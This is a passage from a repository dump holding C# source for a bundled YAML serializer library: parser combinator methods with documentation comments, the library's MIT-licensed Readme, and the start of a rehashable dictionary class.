rewound.</param>\n        /// <returns>true if <paramref name=\"rule\"/> returned true; otherwise false.</returns>\n        /// <example>\n        /// name ::= first-name middle-name? last-name\n        /// <code>\n        /// bool Name()\n        /// {\n        ///     return RewindUnless(()=>\n        ///         FirstName() &amp;&amp;\n        ///         Optional(MiddleName) &amp;&amp;\n        ///         LastName()\n        ///     );\n        /// }\n        /// </code>\n        /// </example>\n        protected bool RewindUnless(Func<bool> rule) // (join) \n        {\n            var savedp = p;\n            var stringValueLength = stringValue.Length;\n            var savedStatus = state;\n            if ( rule() )\n                return true;\n            state = savedStatus; \n            stringValue.Length = stringValueLength;\n            p = savedp;\n            Rewind();\n            return false;\n        }\n        /// <summary>\n        /// This method is called just after <see cref=\"RewindUnless\"/> recovers <see cref=\"state\"/>.\n        /// Override it to do any additional operation for rewinding.\n        /// </summary>\n        protected virtual void Rewind() {}\n        /// <summary>\n        /// Represents EBNF operator of \"*\".\n        /// </summary>\n        /// <param name=\"rule\">Reduction rule to be repeated.</param>\n        /// <returns>Always true.</returns>\n        /// <example>\n        /// lines-or-empty ::= line*\n        /// <code>\n        /// bool LinesOrEmpty()\n        /// {\n        ///     return\n        ///         Repeat(Line);\n        /// }\n        /// </code>\n        ///\n        /// <para>lines-or-empty ::= (text line-break)*</para>\n        /// <para>Note: Do not forget <see cref=\"RewindUnless\"/> if several\n        /// rules are sequentially appears in <see cref=\"Repeat(Func&lt;bool&gt;)\"/> operator.</para>\n        /// <code>\n        /// bool LinesOrEmpty()\n        /// {\n        ///     return\n        ///         Repeat(()=>\n        ///             RewindUnless(()=>\n        ///                 Text() &amp;&amp;\n        ///                 LineBreak()\n        ///             )\n        ///         );\n        /// }\n        /// </code>\n        /// </example>\n        protected bool Repeat(Func<bool> rule) // * \n        {\n            // repeat while condition() returns true and \n            // it reduces any part of text.\n            int start;\n            do {\n                start = p;\n            } while ( rule() && start != p );\n            return true;\n        }\n        /// <summary>\n        /// Represents EBNF operator of \"+\".\n        /// </summary>\n        /// <param name=\"rule\">Reduction rule to be repeated.</param>\n        /// <returns>true if the rule matches; otherwise false.</returns>\n        /// <example>\n        /// lines ::= line+\n        /// <code>\n        /// bool Lines()\n        /// {\n        ///     return\n        ///         Repeat(Line);\n        /// }\n        /// </code>\n        /// </example>\n        /// <example>\n        /// lines ::= (text line-break)+\n        /// \n        /// Note: Do not forget RewindUnless in Repeat operator.\n        /// <code>\n        /// bool Lines()\n        /// {\n        ///     return\n        ///         Repeat(()=>\n        ///             RewindUnless(()=>\n        ///                 Text() &amp;&amp;\n        ///                 LineBreak()\n        ///             )\n        ///         );\n        /// }\n        /// </code>\n        /// </example>\n        protected bool OneAndRepeat(Func<bool> rule)  // + \n        {\n            return rule() && Repeat(rule);\n        }\n        /// <summary>\n        /// Represents <code>n</code> times repeatition.\n        /// </summary>\n        /// <example>\n        /// <para>four-lines ::= (text line-break){4}</para>\n        ///\n        /// <para>Note: Do not forget <see cref=\"RewindUnless\"/> if several\n        /// rules are sequentially appears in <see cref=\"Repeat(int,Func&lt;bool&gt;)\"/> operator.</para>\n        /// <code>\n        /// bool FourLines()\n        /// {\n        ///     return\n        ///         Repeat(4, ()=>\n        ///             RewindUnless(()=>\n        ///                 Text() &amp;&amp;\n        ///                 LineBreak()\n        ///             )\n        ///         );\n        /// }\n        /// </code>\n        /// </example>\n        /// <param name=\"n\">Repetition count.</param>\n        /// <param name=\"rule\">Reduction rule to be repeated.</param>\n        /// <returns>true if the rule matches; otherwise false.</returns>\n        protected bool Repeat(int n, Func<bool> rule)\n        {\n            return RewindUnless(() => {\n                for ( int i = 0; i < n; i++ )\n                    if ( !rule() )\n                        return false;\n                return true;\n            });\n        }\n        /// <summary>\n        /// Represents at least <paramref name=\"min\"/>, at most <paramref name=\"max\"/> times repeatition.\n        /// </summary>\n        /// <example>\n        /// <para>google ::= \"g\" \"o\"{2,100} \"g\" \"l\" \"e\"</para>\n        /// <para>Note: Do not forget <see cref=\"RewindUnless\"/> if several\n        /// rules are sequentially appears in <see cref=\"Repeat(int,int,Func&lt;bool&gt;)\"/> operator.</para>\n        /// <code>\n        /// bool Google()\n        /// {\n        ///     return\n        ///         RewindUnless(()=>\n        ///             text[p++] == 'g' &amp;&amp;\n        ///                 Repeat(2, 100,\n        ///                     RewindUnless(()=>\n        ///                         text[p++] == 'o'\n        ///                     )\n        ///                 )\n        ///             text[p++] == 'g' &amp;&amp;\n        ///             text[p++] == 'l' &amp;&amp;\n        ///             text[p++] == 'e'\n        ///         );\n        /// }\n        /// </code>\n        /// </example>\n        /// <param name=\"min\">Minimum repetition count. Negative value is treated as 0.</param>\n        /// <param name=\"max\">Maximum repetition count. Negative value is treated as positive infinity.</param>\n        /// <param name=\"rule\">Reduction rule to be repeated.</param>\n        /// <returns>true if the rule matches; otherwise false.</returns>\n        protected bool Repeat(int min, int max, Func<bool> rule)\n        {\n            return RewindUnless(() => {\n                for ( int i = 0; i < min; i++ )\n                    if ( !rule() )\n                        return false;\n                for ( int i = 0; i < max || max < 0; i++ )\n                    if ( !rule() )\n                        return true;\n                return true;\n            });\n        }\n        /// <summary>\n        /// Represents BNF operator \"?\".\n        /// </summary>\n        /// <example>\n        /// <para>file ::= header? body footer?</para>\n        /// \n        /// <para>Note: Do not forget <see cref=\"RewindUnless\"/> if several\n        /// rules are sequentially appears in <see cref=\"Optional(bool)\"/> operator.</para>\n        /// <code>\n        /// bool File()\n        /// {\n        ///     return\n        ///         Optional(Header()) &amp;&amp;\n        ///         Body() &amp;&amp;\n        ///         Optional(Footer());\n        /// }\n        /// </code>\n        /// </example>\n        /// <param name=\"rule\">Reduction rule that is optional.</param>\n        /// <returns>Always true.</returns>\n        protected bool Optional(bool rule) // ? \n        {\n            return rule || true;\n        }\n        /// <summary>\n        /// Represents BNF operator \"?\" (WITH rewinding wrap).\n        /// </summary>\n        /// <example>\n        /// file = header? body footer?\n        /// \n        /// <para>Note: Do not forget <see cref=\"RewindUnless\"/> if several\n        /// rules are sequentially appears in <see cref=\"Optional(Func&lt;bool&gt;)\"/> operator.</para>\n        /// <code>\n        /// bool File()\n        /// {\n        ///     return\n        ///         Optional(Header) &amp;&amp;\n        ///         Body() &amp;&amp;\n        ///         Optional(Footer);\n        /// }\n        /// </code>\n        /// </example>\n        /// <param name=\"rule\">Reduction rule that is optional.</param>\n        /// <returns>Always true.</returns>\n        protected bool Optional(Func<bool> rule) // ? \n        {\n            return \n                RewindUnless(()=> rule()) || true;\n        }\n        #endregion\n\n        #region Chars\n        /// <summary>\n        /// Reduce one character if it is a member of the specified character set.\n        /// </summary>\n        /// <param name=\"charset\">Acceptable character set.</param>\n        /// <returns>true if the rule matches; otherwise false.</returns>\n        /// <example>\n        /// alpha ::= [A-Z][a-z]<br/>\n        /// num ::= [0-9]<br/>\n        /// alpha-num :: alpha | num<br/>\n        /// word ::= alpha ( alpha-num )*<br/>\n        /// <code>\n        /// Func&lt;char,bool&gt; Alpha = Charset( c =>\n        ///     ( 'A' &lt;= c &amp;&amp; c &lt;= 'Z' ) ||\n        ///     ( 'a' &lt;= c &amp;&amp; c &lt;= 'z' ) \n        /// );\n        /// Func&lt;char,bool&gt; Num = Charset( c =>\n        ///       '0' &lt;= c &amp;&amp; c &lt;= '9' \n        /// );\n        /// Func&lt;char,bool&gt; AlphaNum = Charset( c =>\n        ///     Alpha(c) || Num(c)\n        /// );\n        /// bool Word()\n        /// {\n        ///     return \n        ///         Accept(Alpha) &amp;&amp;\n        ///         Repeat(AlphaNum);\n        ///         // No need for RewindUnless\n        /// }\n        /// </code>\n        /// </example>\n        protected bool Accept(Func<char, bool> charset)\n        {\n            if ( p < text.Length && charset(text[p]) ) {\n                p++;\n                return true;\n            }\n            return false;\n        }\n        /// <summary>\n        /// <para>Accepts a character 'c'.</para>\n        /// \n        /// <para>It can be also represented by <c>text[p++] == c</c> wrapped by <see cref=\"RewindUnless\"/>.</para>\n        /// </summary>\n        /// <param name=\"c\">The character to be accepted.</param>\n        /// <returns>true if the rule matches; otherwise false.</returns>\n        /// <example>\n        /// YMCA ::= \"Y\" \"M\" \"C\" \"A\"\n        /// <code>\n        /// bool YMCA()\n        /// {\n        ///     return\n        ///         RewindUnless(()=>\n        ///             Accept('Y') &amp;&amp;\n        ///             Accept('M') &amp;&amp;\n        ///             Accept('C') &amp;&amp;\n        ///             Accept('A') \n        ///         );\n        /// }\n        /// </code>\n        /// -or-\n        /// <code>\n        /// bool YMCA()\n        /// {\n        ///     return\n        ///         RewindUnless(()=>\n        ///             text[p++] == 'Y' &amp;&amp;\n        ///             text[p++] == 'M' &amp;&amp;\n        ///             text[p++] == 'C' &amp;&amp;\n        ///             text[p++] == 'A' \n        ///         );\n        /// }\n        /// </code>\n        /// </example>\n        protected bool Accept(char c)\n        {\n            if ( p < text.Length && text[p] == c ) {\n                p++;\n                return true;\n            }\n            return false;\n        }\n        /// <summary>\n        /// Accepts a sequence of characters.\n        /// </summary>\n        /// <param name=\"s\">Sequence of characters to be accepted.</param>\n        /// <returns>true if the rule matches; otherwise false.</returns>\n        /// <example>\n        /// YMCA ::= \"Y\" \"M\" \"C\" \"A\"\n        /// <code>\n        /// bool YMCA()\n        /// {\n        ///     return\n        ///         Accept(\"YMCA\");\n        /// }\n        /// </code>\n        /// </example>\n        protected bool Accept(string s)\n        {\n            if ( p + s.Length >= text.Length )\n                return false;\n            for ( int i = 0; i < s.Length; i++ )\n                if ( s[i] != text[p + i] )\n                    return false;\n            p += s.Length;\n            return true;\n        }\n        /// <summary>\n        /// Represents sequence of characters.\n        /// </summary>\n        /// <param name=\"r\">Sequence of characters to be accepted.</param>\n        /// <returns>true if the rule matches; otherwise false.</returns>\n        protected bool Accept(Regex r)\n        {\n            var m = r.Match(text, p);\n            if ( !m.Success )\n                return false;\n            p += m.Length;\n            return true;\n        }\n        /// <summary>\n        /// Represents BNF operator of \"*\".\n        /// </summary>\n        /// <param name=\"charset\">Character set to be accepted.</param>\n        /// <returns>Always true.</returns>\n        protected bool Repeat(Func<char, bool> charset)\n        {\n            while ( charset(text[p]) )\n                p++;\n            return true;\n        }\n        /// <summary>\n        /// Represents BNF operator of \"+\".\n        /// </summary>\n        /// <param name=\"charset\">Character set to be accepted.</param>\n        /// <returns>true if the rule matches; otherwise false.</returns>\n        protected bool OneAndRepeat(Func<char, bool> charset)\n        {\n            if ( !charset(text[p]) )\n                return false;\n            while ( charset(text[++p]) )\n                ;\n            return true;\n        }\n        /// <summary>\n        /// Represents <code>n</code> times repetition of characters.\n        /// </summary>\n        /// <param name=\"charset\">Character set to be accepted.</param>\n        /// <param name=\"n\">Repetition count.</param>\n        /// <returns>true if the rule matches; otherwise false.</returns>\n        protected bool Repeat(Func<char, bool> charset, int n)\n        {\n            for ( int i = 0; i < n; i++ )\n                if ( !charset(text[p + i]) )\n                    return false;\n            p += n;\n            return true;\n        }\n        /// <summary>\n        /// Represents at least <code>min</code> times, at most <code>max</code> times \n        /// repetition of characters.\n        /// </summary>\n        /// <param name=\"charset\">Character set to be accepted.</param>\n        /// <param name=\"min\">Minimum repetition count. Negative value is treated as 0.</param>\n        /// <param name=\"max\">Maximum repetition count. Negative value is treated as positive infinity.</param>\n        /// <returns>true if the rule matches; otherwise false.</returns>\n        protected bool Repeat(Func<char, bool> charset, int min, int max)\n        {\n            for ( int i = 0; i < min; i++ )\n                if ( !charset(text[p + i]) )\n                    return false;\n            for ( int i = 0; i < max; i++ )\n                if ( !charset(text[p + min + i]) ) {\n                    p += min + i;\n                    return true;\n                }\n            p += min + max;\n            return true;\n        }\n        /// <summary>\n        /// Represents BNF operator \"?\".\n        /// </summary>\n        /// <param name=\"charset\">Character set to be accepted.</param>\n        /// <returns>Always true.</returns>\n        protected bool Optional(Func<char, bool> charset) // ? \n        {\n            if ( !charset(text[p]) )\n                return true;\n            p++;\n            return true;\n        }\n        #endregion\n\n        #region Charset\n        /// <summary>\n        /// <para>Builds a performance-optimized table-based character set definition from a simple \n        /// but slow comparison-based definition.</para>\n        /// \n        /// <para>By default, the character table size is 0x100, namely only the characters of [\\0-\\xff] are\n        /// judged by using a character table and others are by the as-given slow comparisn-based definitions.</para>\n        /// \n        /// <para>To have maximized performance, locate the comparison for non-table based judgement first\n        /// in the definition as the example below.</para>\n        /// \n        /// <para>Use <see cref=\"Charset(System.Int32, System.Func&lt;char, bool&gt;)\"/> form to explicitly \n        /// specify the table size.</para>\n        /// </summary>\n        /// <example>This sample shows how to build a character set delegate.\n        /// <code>\n        /// static class YamlCharsets: Charsets\n        /// {\n        ///     Func&lt;char, bool&gt; cPrintable;\n        ///     Func&lt;char, bool&gt; sWhite;\n        /// \n        ///     static YamlCharsets()\n        ///     {\n        ///         cPrintable = CacheResult(c =&gt;\n        ///         /*  ( 0x10000 &lt; c &amp;&amp; c &lt; 0x110000 ) || */\n        ///             ( 0xe000 &lt;= c &amp;&amp; c &lt;= 0xfffd ) ||\n        ///             ( 0xa0 &lt;= c &amp;&amp; c &lt;= 0xd7ff ) ||\n        ///             ( c &lt; 0x100 &amp;&amp; ( // to improve performance\n        ///                 c == 0x85 ||\n        ///                 ( 0x20 &lt;= c &amp;&amp; c &lt;= 0x7e ) ||\n        ///                 c == 0x0d ||\n        ///                 c == 0x0a ||\n        ///                 c == 0x09\n        ///             ) )\n        ///         );\n        ///         sWhite = CacheResult(c =&gt;\n        ///             c &lt; 0x100 &amp;&amp; ( // to improve performance\n        ///                 c == '\\t' ||\n        ///                 c == ' '\n        ///             )\n        ///         );\n        ///     }\n        /// }\n        /// </code></example>\n        /// <param name=\"definition\">A simple but slow comparison-based definition of the charsert.</param>\n        /// <returns>A performance-optimized table-based delegate built from the given <paramref name=\"definition\"/>.</returns>\n        protected static Func<char, bool> Charset(Func<char, bool> definition)\n        {\n            return Charset(0x100, definition);\n        }\n        /// <summary>\n        /// <para>Builds a performance-optimized table-based character set definition from a simple \n        /// but slow comparison-based definition.</para>\n        /// \n        /// <para>Characters out of the table are judged by the as-given slow comparisn-based \n        /// definitions.</para>\n        /// \n        /// <para>So, to have maximized performance, locate the comparison for non-table based \n        /// judgement first in the definition as the example below.</para>\n        /// </summary>\n        /// <example>This sample shows how to build a character set delegate.\n        /// <code>\n        /// static class YamlCharsets: Charsets\n        /// {\n        ///     Func&lt;char, bool&gt; cPrintable;\n        ///     Func&lt;char, bool&gt; sWhite;\n        /// \n        ///     static YamlCharsets()\n        ///     {\n        ///         cPrintable = CacheResult(c =&gt;\n        ///         /*  ( 0x10000 &lt; c &amp;&amp; c &lt; 0x110000 ) || */\n        ///             ( 0xe000 &lt;= c &amp;&amp; c &lt;= 0xfffd ) ||\n        ///             ( 0xa0 &lt;= c &amp;&amp; c &lt;= 0xd7ff ) ||\n        ///             ( c &lt; 0x100 &amp;&amp; ( // to improve performance\n        ///                 c == 0x85 ||\n        ///                 ( 0x20 &lt;= c &amp;&amp; c &lt;= 0x7e ) ||\n        ///                 c == 0x0d ||\n        ///                 c == 0x0a ||\n        ///                 c == 0x09\n        ///             ) )\n        ///         );\n        ///         sWhite = CacheResult(c =&gt;\n        ///             c &lt; 0x100 &amp;&amp; ( // to improve performance\n        ///                 c == '\\t' ||\n        ///                 c == ' '\n        ///             )\n        ///         );\n        ///     }\n        /// }\n        /// </code></example>\n        /// <param name=\"table_size\">Character table size.</param>\n        /// <param name=\"definition\">A simple but slow comparison-based definition of the charsert.</param>\n        /// <returns>A performance-optimized table-based delegate built from the given <paramref name=\"definition\"/>.</returns>\n        protected static Func<char, bool> Charset(\n            int table_size, Func<char, bool> definition)\n        {\n            var table = new bool[table_size];\n            for ( char c = '\\0'; c < table_size; c++ )\n                table[c] = definition(c);\n            return c => c < table_size ? table[c] : definition(c);\n        }\n        #endregion\n\n        #region Actions\n        /// <summary>\n        /// <para>Saves a part of the source text that is reduced in the <paramref name=\"rule\"/>.</para>\n        /// <para>If the rule does not match, nothing happends.</para>\n        /// </summary>\n        /// <param name=\"rule\">Reduction rule to match.</param>\n        /// <param name=\"value\">If the <paramref name=\"rule\"/> matches, \n        /// the part of the source text reduced in the <paramref name=\"rule\"/> is set; \n        /// otherwise String.Empty is set.</param>\n        /// <returns>true if <paramref name=\"rule\"/> matches; otherwise false.</returns>\n        protected bool Save(Func<bool> rule, ref string value)\n        {\n            var value_ = \"\";\n            var result = Save(rule, s => value_ = s);\n            if ( result )\n                value = value_;\n            return result;\n        }\n        /// <summary>\n        /// <para>Saves a part of the source text that is reduced in the <paramref name=\"rule\"/>\n        /// and append it to <see cref=\"stringValue\"/>.</para>\n        /// <para>If the rule does not match, nothing happends.</para>\n        /// </summary>\n        /// <param name=\"rule\">Reduction rule to match.</param>\n        /// <returns>true if <paramref name=\"rule\"/> matches; otherwise false.</returns>\n        protected bool Save(Func<bool> rule)\n        {\n            return \n                Save(rule, s => stringValue.Append(s));\n        }\n        /// <summary>\n        /// <para>Saves a part of the source text that is reduced in the <paramref name=\"rule\"/>.</para>\n        /// <para>If the rule does not match, nothing happends.</para>\n        /// </summary>\n        /// <param name=\"rule\">Reduction rule to match.</param>\n        /// <param name=\"save\">If <paramref name=\"rule\"/> matches, this delegate is invoked\n        /// with the part of the source text that is reduced in the <paramref name=\"rule\"/>\n        /// as the parameter. Do any action in the delegate.</param>\n        /// <returns>true if <paramref name=\"rule\"/> matches; otherwise false.</returns>\n        /// <example>\n        /// <code>\n        /// bool SomeRule()\n        /// {\n        ///     return \n        ///         Save(()=> SubRule(), s => MessageBox.Show(s));\n        /// }\n        /// </code></example>\n        protected bool Save(Func<bool> rule, Action<string> save)\n        {\n            int start = p;\n            var result = rule();\n            if ( result )\n                save(text.Substring(start, p - start));\n            return result;\n        }\n        /// <summary>\n        /// Execute some action.\n        /// </summary>\n        /// <param name=\"action\">Action to be done.</param>\n        /// <returns>Always true.</returns>\n        /// <example>\n        /// <code>\n        /// bool SomeRule()\n        /// {\n        ///     return \n        ///         SubRule() &amp;&amp;\n        ///         Action(()=> do_some_action());\n        /// }\n        /// </code></example>\n        protected bool Action(Action action)\n        {\n            action();\n            return true;\n        }\n        /// <summary>\n        /// Report error by throwing <see cref=\"ParseErrorException\"/> when the <paramref name=\"rule\"/> does not match.\n        /// </summary>\n        /// <param name=\"rule\">Some reduction rule that must match.</param>\n        /// <param name=\"message\">Error message as <see cref=\"string.Format(string,object[])\"/> template</param>\n        /// <param name=\"args\">Parameters for <see cref=\"string.Format(string,object[])\"/> template</param>\n        /// <returns>Always true; otherwise an exception thrown.</returns>\n        protected bool ErrorUnless(bool rule, string message, params object[] args)\n        {\n            if ( !rule )\n                Error(message, args);\n            return true;\n        }\n        /// <summary>\n        /// Report error by throwing <see cref=\"ParseErrorException\"/> when the <paramref name=\"rule\"/> does not match.\n        /// </summary>\n        /// <param name=\"rule\">Some reduction rule that must match.</param>\n        /// <param name=\"message\">Error message as <see cref=\"string.Format(string,object[])\"/> template</param>\n        /// <param name=\"args\">Parameters for <see cref=\"string.Format(string,object[])\"/> template</param>\n        /// <returns>Always true; otherwise an exception is thrown.</returns>\n        protected bool ErrorUnless(Func<bool> rule, string message, params object[] args)\n        {\n            return ErrorUnless(rule(), message);\n        }\n        /// <summary>\n        /// Report error by throwing <see cref=\"ParseErrorException\"/> when the <paramref name=\"rule\"/> does not match\n        /// and an additional condition <paramref name=\"to_be_error\"/> is true.\n        /// </summary>\n        /// <param name=\"rule\">Some reduction rule that must match.</param>\n        /// <param name=\"to_be_error\">Additional condition: if this parameter is false, \n        /// rewinding occurs, instead of throwing exception.</param>\n        /// <param name=\"message\">Error message as <see cref=\"string.Format(string,object[])\"/> template</param>\n        /// <param name=\"args\">Parameters for <see cref=\"string.Format(string,object[])\"/> template</param>\n        /// <returns>true if the reduction rule matches; otherwise false.</returns>\n        protected bool ErrorUnlessWithAdditionalCondition(Func<bool> rule, bool to_be_error, string message, params object[] args)\n        {\n            if ( to_be_error ) {\n                if ( !rule() ) \n                    Error(message, args);\n                return true;\n            } else {\n                return RewindUnless(rule);\n            }\n        }\n        /// <summary>\n        /// Report error by throwing <see cref=\"ParseErrorException\"/> when <paramref name=\"condition\"/> is true.\n        /// </summary>\n        /// <param name=\"condition\">True to throw exception.</param>\n        /// <param name=\"message\">Error message as <see cref=\"string.Format(string,object[])\"/> template</param>\n        /// <param name=\"args\">Parameters for <see cref=\"string.Format(string,object[])\"/> template</param>\n        /// <returns>Always true.</returns>\n        protected bool ErrorIf(bool condition, string message, params object[] args)\n        {\n            if ( condition )\n                Error(message, args);\n            return true;\n        }\n        /// <summary>\n        /// Assign <c>var = value</c> and return true;\n        /// </summary>\n        /// <typeparam name=\"T\">Type of the variable and value.</typeparam>\n        /// <param name=\"var\">Variable to be assigned.</param>\n        /// <param name=\"value\">Value to be assigned.</param>\n        /// <returns>Always true.</returns>\n        protected bool Assign<T>(out T var, T value)\n        {\n            var = value;\n            return true;\n        }\n        #endregion\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/YamlSerializer/Readme.txt",
    "content": "﻿YamlSerializer 0.9.0.2 (2009-10-04)        Osamu TAKEUCHI <osamu@big.jp>\n\nDescription:\n\tA library that serialize / deserialize C# native objects into YAML1.2 text.\n\nDevelopment environment: \n\tVisual C# 2008 Express Edition\n\tSandcastle (2008-05-29)\n\tSandcastleBuilder 1.8.0.2\n\tHTML Help workshop 4.74.8702\n\tNUnit 2.5.0.9122\n\tTestDriven.NET 2.0\n\nSupport web page: \n\thttp://yamlserializer.codeplex.com/\n\nLicense:\n\tYamlSerializer is distributed under the MIT license as following:\n\n---\nThe MIT License (MIT)\nCopyright (c) 2009 Osamu TAKEUCHI <osamu@big.jp>\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of \nthis software and associated documentation files (the \"Software\"), to deal in the \nSoftware without restriction, including without limitation the rights to use, copy, \nmodify, merge, publish, distribute, sublicense, and/or sell copies of the Software, \nand to permit persons to whom the Software is furnished to do so, subject to the \nfollowing conditions:\n\nThe above copyright notice and this permission notice shall be included in all \ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, \nINCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A \nPARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT \nHOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF \nCONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE \nOR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/YamlSerializer/RehashableDictionary.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\n\nusing System.Diagnostics;\n\nnamespace System.Yaml\n{\n    interface IRehashableKey\n    {\n        event EventHandler Changed;\n    }\n\n    /// <summary>\n    /// <para>Dictionary that automatically rehash when the content of a key is changed.\n    /// Keys of this dictionary must implement <see cref=\"IRehashableKey\"/>.</para>\n    /// <para>It also call back item addition and removal by <see cref=\"Added\"/> and\n    /// <see cref=\"Removed\"/> events.</para>\n    /// </summary>\n    /// <typeparam name=\"K\">Type of key. Must implements <see cref=\"IRehashableKey\"/>.</typeparam>\n    /// <typeparam name=\"V\">Type of value.</typeparam>\n    class RehashableDictionary<K, V>: IDisposable, IDictionary<K, V>\n        where K: class, IRehashableKey\n    {\n        class KeyValue\n        {\n            public K key;\n            public V value;\n            public KeyValue(K key, V value)\n            {\n                this.key = key;\n                this.value = value;\n            }\n        }\n        /// <summary>\n        /// <para>A dictionary that returns <see cref=\"KeyValue\"/> or <see cref=\"List&lt;KeyValue&gt;\"/> \n        /// from hash code. This is the main repository that stores the <see cref=\"KeyValue\"/> pairs.</para>\n        /// <para>If there are several entries that have same hash code for thir keys, \n        /// a <see cref=\"List&lt;KeyValue&gt;\"/> is stored to hold all those entries.\n        /// Otherwise, a <see cref=\"KeyValue\"/> is stored.</para>\n        /// </summary>\n        SortedDictionary<int, object> items = new SortedDictionary<int, object>();\n        /// <summary>\n        /// <para>A dictionary that returns hash code from the key reference.\n        /// The key must be the instance that <see cref=\"object.ReferenceEquals\"/>\n        /// to one exsisting in the dictionary.</para>\n        /// </summary>\n        /// <remarks>\n        /// <para>We store the hashes correspoinding to each key. So that when rehash,\n        /// we can find old hash code to quickly find the entry for the key.</para>\n        /// <para>It is also used to remember the number of keys exists in the dictionary.</para>\n        /// </remarks>\n        Dictionary<K, int> hashes = new Dictionary<K, int>(\n            TypeUtils.EqualityComparerByRef<K>.Default);\n\n        /// <summary>\n        /// Recalc hash key of the <paramref name=\"key\"/>.\n        /// </summary>\n        /// <param name=\"key\">The key to be rehash. The key must be the instance that \n        /// <see cref=\"object.ReferenceEquals\"/> to one exsisting in the dictionary.</param>\n        void Rehash(K key)\n        {\n            // Note that key is compared by reference in this function!\n\n            // update hash\n            var oldHash = hashes[key];\n            var newHash = key.GetHashCode();\n            hashes[key] = newHash;\n\n            // remove old entry\n            var item = items[oldHash];\n            KeyValue kv = null;\n            if ( item is KeyValue ) {\n                // only one item was found whose hash code equals to oldHash.\n                kv = (KeyValue)item;\n                // must be found\n                Debug.Assert(kv.key == key);\n                items.Remove(oldHash);\n            } else {\n                // several items were found whose hash codes equal to oldHash.\n                var list = (List<KeyValue>)item;\n                for ( int i = 0; i < list.Count; i++ ) {\n                    kv = list[i];\n                    if ( kv.key == key ) {\n                        list.RemoveAt(i);\n                        break;\n                    }\n                    // must be found\n                    Debug.Assert(i + 1 < list.Count);\n                }\n                // only one item is left, whose hash code equals to oldHash.\n                if ( list.Count == 1 )\n                    items[oldHash] = list.First();\n            }\n\n            // add new entry\n            if ( items.TryGetValue(newHash, out item) ) {\n                if ( item is KeyValue ) {\n                    // must not exist already\n                    Debug.Assert(!( (KeyValue)item ).key.Equals(key));\n                    var list = new List<KeyValue>();\n                    list.Add((KeyValue)item);\n                    list.Add(kv);\n                    items[newHash] = list;\n                } else {\n                    // must not exist already\n                    Debug.Assert(!( item as List<KeyValue> ).Any(li => li.key.Equals(key)));\n                    ( item as List<KeyValue> ).Add(kv);\n                }\n            } else {\n                items[newHash] = kv;\n            }\n        }\n\n        public class DictionaryEventArgs: EventArgs\n        {\n            public K Key;\n            public V Value;\n            public DictionaryEventArgs(K key, V value)\n            {\n                Key = key;\n                Value = value;\n            }\n        }\n\n        protected virtual void OnAdded(K key, V value)\n        {\n            // set observer\n            key.Changed += new EventHandler(KeyChanged);\n            if ( Added != null )\n                Added(this, new DictionaryEventArgs(key, value));\n        }\n        public event EventHandler<DictionaryEventArgs> Added;\n\n        void KeyChanged(object sender, EventArgs e)\n        {\n            Rehash((K)sender);\n        }\n\n        protected virtual void OnRemoved(K key, V value)\n        {\n            // remove observer\n            key.Changed -= new EventHandler(KeyChanged);\n            if ( Removed != null )\n                Removed(this, new DictionaryEventArgs(key, value));\n        }\n        public event EventHandler<DictionaryEventArgs> Removed;\n\n        public void Dispose()\n        {\n            // remove observers\n            Clear();\n        }\n\n        void AddCore(K key, V value, bool exclusive)\n        {\n            var newkv = new KeyValue(key, value);\n            FindItem(key, false, default(V),\n                (hash) => {                             // not found hash\n                    items.Add(hash, newkv);\n                    hashes.Add(key, hash);\n                },\n                (hash, oldkv) => {                      // hash hit one entry but key not found\n                    var list = new List<KeyValue>();\n                    list.Add(oldkv);\n                    items[hash] = list;\n                    list.Add(newkv);\n                    hashes.Add(key, hash);\n                },\n                (hash, oldkv) => {                      // hash hit one entry and key found\n                    ReplaceKeyValue(oldkv, newkv, exclusive);\n                },\n                (hash, list) => {                       // hash hit several entries but key not found\n                    list.Add(newkv);\n                    hashes.Add(key, hash);\n                },\n                (hash, oldkv, list, i) => {             // hash hit several entries and key found\n                    ReplaceKeyValue(oldkv, newkv, exclusive);\n                }\n                );\n            OnAdded(key, value);\n        }\n\n        void ReplaceKeyValue(KeyValue oldkv, KeyValue newkv, bool exclusive)\n        {\n            if ( exclusive )\n                throw new InvalidOperationException(\"Same key already exists.\");\n            var oldkv_saved = new KeyValue(oldkv.key, oldkv.value);\n            oldkv.key = newkv.key;\n            oldkv.value = newkv.value;\n            hashes.Remove(oldkv_saved.key);\n            OnRemoved(oldkv_saved.key, oldkv_saved.value);\n        }\n\n        bool RemoveCore(K key, bool compareValue, V value)\n        {\n            bool result = true;\n            FindItem(key, compareValue, value,\n                (hash) => { result = false; },      // key not found\n                (hash, kv) => {                     // hash hit one entry and key found\n                    items.Remove(hash);\n                    hashes.Remove(kv.key);\n                    OnRemoved(kv.key, kv.value);\n                },\n                (hash, kv, list, i) => {            // hash hit several entries and key found\n                    list.RemoveAt(i);\n                    // only one entry left\n                    if ( list.Count == 1 )\n                        items[hash] = list.First();\n                    hashes.Remove(kv.key);\n                    OnRemoved(kv.key, kv.value);\n                }\n                );\n            return result;\n        }\n\n        bool TryGetValueCore(K key, out V value)\n        {\n            bool result = true;\n            V v = default(V);\n            FindItem(key, false, default(V),\n                (hash) => { result = false; },              // key not found\n                (hash, kv) => { v = kv.value; },            // hash hit one entry and key found\n                (hash, kv, list, i) => { v = kv.value; }    // hash hit several entries and key found\n                );\n            value = v;\n            return result;\n        }\n\n        public ICollection<KeyValuePair<K, V>> ItemsFromHash(int key_hash)\n        {\n            object entry;\n            if ( items.TryGetValue(key_hash, out entry) ) {\n                if ( entry is KeyValue ) {\n                    return new ItemsCollection(this, (KeyValue)entry);\n                } else {\n                    return new ItemsCollection(this, (List<KeyValue>)entry);\n                }\n            } else {\n                return new ItemsCollection(this);\n            }\n        }\n\n        class 